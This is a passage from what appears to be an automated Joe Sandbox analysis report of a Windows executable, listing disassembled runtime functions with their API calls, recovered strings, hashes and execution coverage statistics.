                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: malloc$memcpyrealloc
                                  • String ID:
                                  • API String ID: 2642181057-0
                                  • Opcode ID: 7b5389b9c9a85f3a34e23261bf769740200db070f8f6c41ee47b25707c61576f
                                  • Instruction ID: 51c766a92644e3c5435e9fd99ffeaf8e8d26304dbbcbff67287997231f18dd09
                                  • Opcode Fuzzy Hash: 7b5389b9c9a85f3a34e23261bf769740200db070f8f6c41ee47b25707c61576f
                                  • Instruction Fuzzy Hash: A331D033637B8281DA55AF25E4402E9A2B1FB49BD1F844535CA9D4B385EE38E151C360
                                  Function 00007FF77970C940 Relevance: 6.1, APIs: 4, Instructions: 95COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: realloc$memcpy
                                  • String ID:
                                  • API String ID: 1833655766-0
                                  • Opcode ID: 92f0a808aa39fa7eb3d3e1b92975e20d59c52e8dbb1dc89ffce3e6ef201c367b
                                  • Instruction ID: a7acff15680dc3ebb07278f402c5c57db3fe17f61328fc2e5d4488004201a8ba
                                  • Opcode Fuzzy Hash: 92f0a808aa39fa7eb3d3e1b92975e20d59c52e8dbb1dc89ffce3e6ef201c367b
                                  • Instruction Fuzzy Hash: DA3165A3A26B4683DE29DF56F850269A371FB5CBC0F448531CB8E07751EF3CD4418250
                                  Function 00007FF779707190 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: memcpyrealloc
                                  • String ID: %af
                                  • API String ID: 2500458235-435209106
                                  • Opcode ID: 189d169f33cf6af8ca0065567002fe4ddead3edd4c8bf95d75048c77e3cd1801
                                  • Instruction ID: 03b509cc249c93a752747cc9af1940d802e28ececcf8c2d52823d48d0de05666
                                  • Opcode Fuzzy Hash: 189d169f33cf6af8ca0065567002fe4ddead3edd4c8bf95d75048c77e3cd1801
                                  • Instruction Fuzzy Hash: AC51AD63B2D6C147D73A8B34E940BADBF71DB96391F448225DF6903B95EA3DC6068700
                                  Function 00007FF7796F2410 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138memoryCOMMON
                                  Download Yara Rule
                                  APIs
                                  • VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7796F1247), ref: 00007FF7796F2589
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: ProtectVirtual
                                  • String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.
                                  • API String ID: 544645111-395989641
                                  • Opcode ID: 5b47f7b3415e9acf973e285d3e0f13b1c7560d1d6d05a1c3766290b15ed4b865
                                  • Instruction ID: 33950585ea6fb64bc86a7cda7552ada226113aa499c6ef47cee104e078273748
                                  • Opcode Fuzzy Hash: 5b47f7b3415e9acf973e285d3e0f13b1c7560d1d6d05a1c3766290b15ed4b865
                                  • Instruction Fuzzy Hash: 79516E33A3A547C6EB10AF25E8406AAA773EB48794F844631C91D43794DE3CE596CB20
                                  Function 00007FF77970BED0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 129COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: mallocrealloc
                                  • String ID: struct
                                  • API String ID: 948496778-3130185518
                                  • Opcode ID: 35616c4f7b5d9537541ddb626232e0a783046c49ffb19191163ac48addb01a71
                                  • Instruction ID: 42bce73cbc9c245912a13b1a66a6aff8710ecddf548a4bad651ddb4f5fd5216a
                                  • Opcode Fuzzy Hash: 35616c4f7b5d9537541ddb626232e0a783046c49ffb19191163ac48addb01a71
                                  • Instruction Fuzzy Hash: 5A41C073A26B8682DB24DF1AE8446A9A770FB48FD1F444132DF8C477A0DF38D5928350
                                  Function 00007FF7796FEB10 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 99COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: realloc
                                  • String ID: ble for
                                  • API String ID: 471065373-1503916205
                                  • Opcode ID: 7d0b51c97a29845c4b7d3c5cbaae78ce6d4dab227ee38db279accd03066f3836
                                  • Instruction ID: f19ef1c40473dcb466682a9e5e74844f397f29e1e40cfbf8bb3fb157fdc1ef7c
                                  • Opcode Fuzzy Hash: 7d0b51c97a29845c4b7d3c5cbaae78ce6d4dab227ee38db279accd03066f3836
                                  • Instruction Fuzzy Hash: 493191B7A26B4682EE199F16E54016DA7B2FB98FD0B448532CF9E47764EF2CD4918200
                                  Function 00007FF7796FD2D9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 90COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: malloc
                                  • String ID: std
                                  • API String ID: 2803490479-2826573480
                                  • Opcode ID: 39a9b4e02e6c7c124a628c552a4636f6e40e277c28f87722f2353c0517b7eef5
                                  • Instruction ID: 8ae7ca3753f30a4e38d31498b7e7014ebe652b5e79d3f6d5dd21a45db497f4eb
                                  • Opcode Fuzzy Hash: 39a9b4e02e6c7c124a628c552a4636f6e40e277c28f87722f2353c0517b7eef5
                                  • Instruction Fuzzy Hash: E531A23363B74385EA55AF14E0153BAA6B6AB09B90F850635CB9C4A3D1EF3CF4468320
                                  Function 00007FF77970EF40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 86COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: realloc
                                  • String ID: vector[
                                  • API String ID: 471065373-3542213508
                                  • Opcode ID: c4488cd4258865b302a78e24845e525baf049f33d3f4fcfc29418687803e7592
                                  • Instruction ID: 2bab05cd7e304ce600818f110bbfcf3f711ea4c9535956958f67ec87019214b8
                                  • Opcode Fuzzy Hash: c4488cd4258865b302a78e24845e525baf049f33d3f4fcfc29418687803e7592
                                  • Instruction Fuzzy Hash: 363192B3A26B4682DF699F1AE94026DE371EB58FC0B448432CF9E47764DF2CE4518310
                                  Function 00007FF7797094E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 74COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: realloc
                                  • String ID: &
                                  • API String ID: 471065373-1010288
                                  • Opcode ID: c46aeaef957640738deddb87f16563f99d08ba3b34def948dc4d2f740d61f949
                                  • Instruction ID: c7ff17afbd19b3418593a372a380b2f4f9974194891229bed3e6bcb7865a581b
                                  • Opcode Fuzzy Hash: c46aeaef957640738deddb87f16563f99d08ba3b34def948dc4d2f740d61f949
                                  • Instruction Fuzzy Hash: DB31A0B391AB8682DB25DF2AF4402AAB7A1F758BC4F448621DB9D47794DF3CD401C350
                                  Function 00007FF7796F4A70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: EntryFunctionLookupfflush
                                  • String ID: libunwind: pc not in table, pc=0x%llX
                                  • API String ID: 1930725923-1970586329
                                  • Opcode ID: 3d495f0f2960550110fa8eb07f73b5c1ec580fd706c87246941946c30414a956
                                  • Instruction ID: 17413a7c93f74e02ee7ee2e08332c57c98665227de39ecf977a4ffae4d57ffa5
                                  • Opcode Fuzzy Hash: 3d495f0f2960550110fa8eb07f73b5c1ec580fd706c87246941946c30414a956
                                  • Instruction Fuzzy Hash: 4031A17393AB9281E7159F3494807A8B3B2EF89B88F548335CA4D56795FF389491C350
                                  Function 00007FF77970AF70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 53COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: realloc
                                  • String ID: operator$r""
                                  • API String ID: 471065373-3690342460
                                  • Opcode ID: e1620a572d8d04512c69ef91134d241d4fe72b19f885483c170cd34e2c6e07b0
                                  • Instruction ID: 186517d2d92a085bcfdc0948ba1379110c14756ef47cdc5499bc1db231ee6fe4
                                  • Opcode Fuzzy Hash: e1620a572d8d04512c69ef91134d241d4fe72b19f885483c170cd34e2c6e07b0
                                  • Instruction Fuzzy Hash: 9E1190B3A26B8682DA19AF06E9401A8A771EB98FD0F408432CF4D07754EF28D5A28310
                                  Function 00007FF779713A80 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 40COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: _time64
                                  • String ID: %s $[%Y-%m-%d %H:%M:%S]
                                  • API String ID: 1670930206-899559958
                                  • Opcode ID: a058c66051b2317f5e588f79f743636c4437f49c9a2c9167b86e4ef29b80d505
                                  • Instruction ID: c23ecd564a993f898eac60266c8f88a1f4a0d72e129c16675ce64161bd7f1877
                                  • Opcode Fuzzy Hash: a058c66051b2317f5e588f79f743636c4437f49c9a2c9167b86e4ef29b80d505
                                  • Instruction Fuzzy Hash: 02016532639B8392E620AF11B8513FAA375EBCC7D0F804435E98E13B559E3CD145C760
                                  Function 00007FF7796F2390 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: fprintf
                                  • String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
                                  • API String ID: 383729395-3474627141
                                  • Opcode ID: 0d15dd107c1c7b7ee9c3dbc79bee5512547a48c097ea1489700897209fd66f7b
                                  • Instruction ID: 775a5bb1bf22d0d9dccd225002abb15b1d1df4eb657718f4b816eff095d1992e
                                  • Opcode Fuzzy Hash: 0d15dd107c1c7b7ee9c3dbc79bee5512547a48c097ea1489700897209fd66f7b
                                  • Instruction Fuzzy Hash: 19F0A41393A94683D610AF24A5410BAA333FB493D1F808631DF4D96251EF1CE1428710
                                  Function 00007FF779710777 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18stringCOMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: strerrorstrlen
                                  • String ID: (null)
                                  • API String ID: 960536887-3941151225
                                  • Opcode ID: f2373a739143e5c7c6886a2839f5784e2abfccd3a5dafc2859586661781da765
                                  • Instruction ID: 548a4299058f50add3c56765ddb355d47582f1fca687a56c51a378bb05612d84
                                  • Opcode Fuzzy Hash: f2373a739143e5c7c6886a2839f5784e2abfccd3a5dafc2859586661781da765
                                  • Instruction Fuzzy Hash: 87E01A12BBF203C3E904BE1154120FEE5725FCC7D1FE84875E94E52286EE2CE40151E1
                                  Function 00007FF7796F35C0 Relevance: 5.1, APIs: 4, Instructions: 76stringCOMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: strcmp
                                  • String ID:
                                  • API String ID: 1004003707-0
                                  • Opcode ID: 66c6bf3b211be3c92e68e951745e0b462fee0e45d65b69b835429f12a872f51f
                                  • Instruction ID: 17b765689386abbd5251657bb6d66876dadbb1306d6540458c90b849f5dad374
                                  • Opcode Fuzzy Hash: 66c6bf3b211be3c92e68e951745e0b462fee0e45d65b69b835429f12a872f51f
                                  • Instruction Fuzzy Hash: E621127393BA4382EA78AF12D24453AE6F3FB447D0F958531CB4D86790EE3DE8818610
                                  Function 00007FF7796F4FFE Relevance: 5.0, APIs: 4, Instructions: 34COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: CriticalSection$EnterErrorLastLeaveValue
                                  • String ID:
                                  • API String ID: 682475483-0
                                  • Opcode ID: c3e10df1fb81cec98377597e4f843a6904a990f22e519dfd6c3b42c4d24bae7a
                                  • Instruction ID: 567b52e8b790ccc131660ee8db64e5c97932d8afefa1ffde23f0cd773bfc5b8d
                                  • Opcode Fuzzy Hash: c3e10df1fb81cec98377597e4f843a6904a990f22e519dfd6c3b42c4d24bae7a
                                  • Instruction Fuzzy Hash: E7015A27A3B60381F645AF01A904275E332BF16BD1FC44535C90D876A4EF2CBE518270

                                  Execution Graph

                                  Execution Coverage:2.9%
                                  Dynamic/Decrypted Code Coverage:0%
                                  Signature Coverage:0%
                                  Total number of Nodes:231
                                  Total number of Limit Nodes:2
